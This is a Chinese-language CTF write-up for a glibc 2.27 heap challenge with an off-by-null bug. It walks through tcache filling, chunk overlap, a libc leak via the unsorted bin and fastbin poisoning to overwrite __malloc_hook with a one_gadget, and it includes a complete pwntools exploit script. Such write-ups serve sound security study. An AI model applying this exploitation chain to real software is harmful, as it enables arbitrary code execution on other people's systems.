高版本Tcache+off-by-One(二)
程序的保护
感觉基本的大部分的heap题目都是全部开的。有时候要是他少了个保护,我都会感觉这题难到飞起。这题是18.04的环境也就是2.27。
分析伪c函数
main函数就是正常的菜单题,但是没有edit函数这就很烦人。
delete函数,我只能说它删的很干净,一点不给我机会(uaf)
show函数也很正常吧。
add函数里面的sub_BC8()和calloc值得我们注意一下,且申请的chunk大小不能大于0x100
sub_BC8函数是写入函数。但是呢,存在off-by-null
下面说说那个calloc(v0, 1uLL),记得calloc不会从tcache中寻找合适的分配,只会从fast bin,small bin, unsorted bin来分配就行。
思路
利用那个off-by-null将堆重叠,通过unsortbins从而泄露libc地址。后面将chunk申请到__malloc_hook上面的方法似乎我是一步步调试出来的,不算具体什么方法。应该属于堆风水(随缘打法)但是成功了。
分析思路
1,万事开头难,第一步我当时也没搞对。但是吧,高版本libc有tcache一般都是后面慢慢调试更改的。先将后面会利用到的一定size的chunk对应的Tcache给填满。
for i in range(7):
add(0xf0,'A')#0-6
add(0x18,'aaaa')#7-13
add(0xa0,'cccc')#14 - 20
add(0x68,'t')#21 - 27
add(0xf8,'aaaa')#28
add(0x18,'aaaa')#29
add(0xf0,'cccc')#30
add(0x28,'dddd')#31
for i in range(28):
free(i)#0-27被free掉了
#将上面将对应大小的tcache填满
此时的bins
2,先将序号为28和29的chunk给free掉,再申请回来序号为29的chunk(因为先进后出)将序号为30的pre_size位修改为0x120(为序号28和29的size和),再通过off-by-one漏洞,将序号为30的size的低一字节改为”\x00”,再将其free掉就会造成堆重叠。
free(28)
free(29)
add(0x18,b'a'*0x10 + p64(0x120))#0
free(30)
修改pre_size和size位。
此时因为free机制,就会将这三个chunk合并free掉,总的size为0x220为这三个的和
3,此时这个大的freechunk是再unsortbins里面的(因为tcache里面那三个小chunk对应的size已经被填满了),此时我们再将前面的序号为28的chunk给申请回来。因为程序使用的是calloc不会调用tcache里面的chunk,又因为unsortbins里面有chunk且大小够所以从中切割,不然从top_chunk里面切割。之后就会发现之前所覆盖的chunk里面被写上了unsortbins_addr,接下来show一下,就会泄露信息
add(0xf0,'aaaa')#1
show(0)
leak_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
main_arenas = leak_addr - 0x60
__malloc_hook = main_arenas - 0x10
libc_base = __malloc_hook - libc.sym["__malloc_hook"]
__free_hook = libc_base + libc.sym["__free_hook"]
fake_chunk = __malloc_hook - 0x23
log.info(f'leak_addr = {hex(leak_addr)}')
log.info(f'main_arenas = {hex(main_arenas)}')
log.info(f'__malloc_hook = {hex(__malloc_hook)}')
log.info(f'libc_base = {hex(libc_base)}')
log.info(f'__free_hook = {hex(__free_hook)}')
log.info(f'fake_chunk = {hex(fake_chunk)}')
分割,往序号为0的chunk写入信息
这里的fake_chunk是我当时直接调试出来的位置。在__malloc_hook - 0x23位置
4,申请0x100的chunk,将前面的还处于unsortbins里面的chunk给申请出来。肯定有人和我一样疑惑为什么申请0x100就可以申请完了?那个chunk的size大小不是0x120嘛?但是您不能忘掉了,那个0x120是您自己伪造的,其实第三块chunk的大小就是0x100。在利用off-by-null和前面手法一样,只不过利用的size大小不一样(为了后面可以申请到fake_chunk处)。
add(0x100,'aaaa')#2
add(0xf8,'aaaa')#3,此时chunk_3和chunk_0重叠了,不能用double free
add(0x68,'bbbb')#4
add(0xf8,'cccc')#5
add(0x18,'aaaa')#6 隔离top chunk
free(3)
free(4)
add(0x68,b'a'*0x60 + p64(0x170))#3
free(5)
5,此时,有点尴尬。序号为3的chunk其实被我们申请出来的。但是呢,它因为堆重叠,还在unsortbins里面。此时unsortbins里面其内存再开头处
我们将序号为3的chunk给free掉,让其掉入fastbins里面。其也在unsortbins里面。是不是可以通过申请一个chunk来修改掉其fd指针从而可以伪造申请到我们所指定的位置
可以看到其之间相差0x100,因为我们不能直接申请0x100的chunk。所以通过两次申请chunk来修改fastbins里面chunk的fd指针。
free(3)#这一步导致其进入到fastbins里面
add(0xc0,'aaaa')#3
add(0x38,b'a'*0x20 + p64(0) + p64(0x71) + p64(fake_chunk))#4
至于偏移啥的,都是自己调试计算出来的。但那个0x71是因为,你申请之后unsortbins还有chunk。你最好还是别动,因为我怕又报错。进而修改掉fastbins里面chunk的fd指针。使其指向fake_chunk位置
接下来就是申请过去,然后把__malloc_hook修改为one_gadget。
add(0x68,'a')
add(0x60,b'a'*0x13 + p64(oog[2] + libc_base))
add(0x20,'aaa')
最后getshell
exp
def exp():
oog = [0x4f2be,0x4f2c5,0x4f322,0x10a38c]#2.27
def choice(c):
io.recvuntil(':')
io.sendline(str(c))
def add(size,content):
choice(1)
io.recvuntil(':')
io.sendline(str(size))
io.recvuntil(':')
io.sendline(content)
def show(idx):
choice(2)
io.recvuntil(':')
io.sendline(str(idx))
def free(idx):
choice(3)
io.recvuntil(':')
io.sendline(str(idx))
for i in range(7):
add(0xf0,'A')#0-6
add(0x18,'aaaa')#7-13
add(0xa0,'cccc')#14 - 20
add(0x68,'t')#21 - 27
add(0xf8,'aaaa')#28
add(0x18,'aaaa')#29
add(0xf0,'cccc')#30
add(0x28,'dddd')#31
for i in range(28):
free(i)#0-27被free掉了
#将上面将对应大小的tcache填满
free(28)
free(29)
add(0x18,b'a'*0x10 + p64(0x120))#0
free(30)
# add(0xc0,'aaaa')#1
# add(0x20,'aaaa')#2
add(0xf0,'aaaa')#1
show(0)
leak_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
main_arenas = leak_addr - 0x60
__malloc_hook = main_arenas - 0x10
libc_base = __malloc_hook - libc.sym["__malloc_hook"]
__free_hook = libc_base + libc.sym["__free_hook"]
fake_chunk = __malloc_hook - 0x23
log.info(f'leak_addr = {hex(leak_addr)}')
log.info(f'main_arenas = {hex(main_arenas)}')
log.info(f'__malloc_hook = {hex(__malloc_hook)}')
log.info(f'libc_base = {hex(libc_base)}')
log.info(f'__free_hook = {hex(__free_hook)}')
log.info(f'fake_chunk = {hex(fake_chunk)}')
add(0x100,'aaaa')#2
add(0xf8,'aaaa')#3,此时chunk_3和chunk_0重叠了,不能用double free
add(0x68,'bbbb')#4
add(0xf8,'cccc')#5
add(0x18,'aaaa')#6 隔离top chunk
free(3)
free(4)
add(0x68,b'a'*0x60 + p64(0x170))#3
free(5)
free(3)#这一步导致其进入到fastbins里面
add(0xc0,'aaaa')#3
add(0x38,b'a'*0x20 + p64(0) + p64(0x71) + p64(fake_chunk))#4
add(0x68,'a')
add(0x60,b'a'*0x13 + p64(oog[2] + libc_base))
add(0x20,'aaa')
exp()
io.interactive()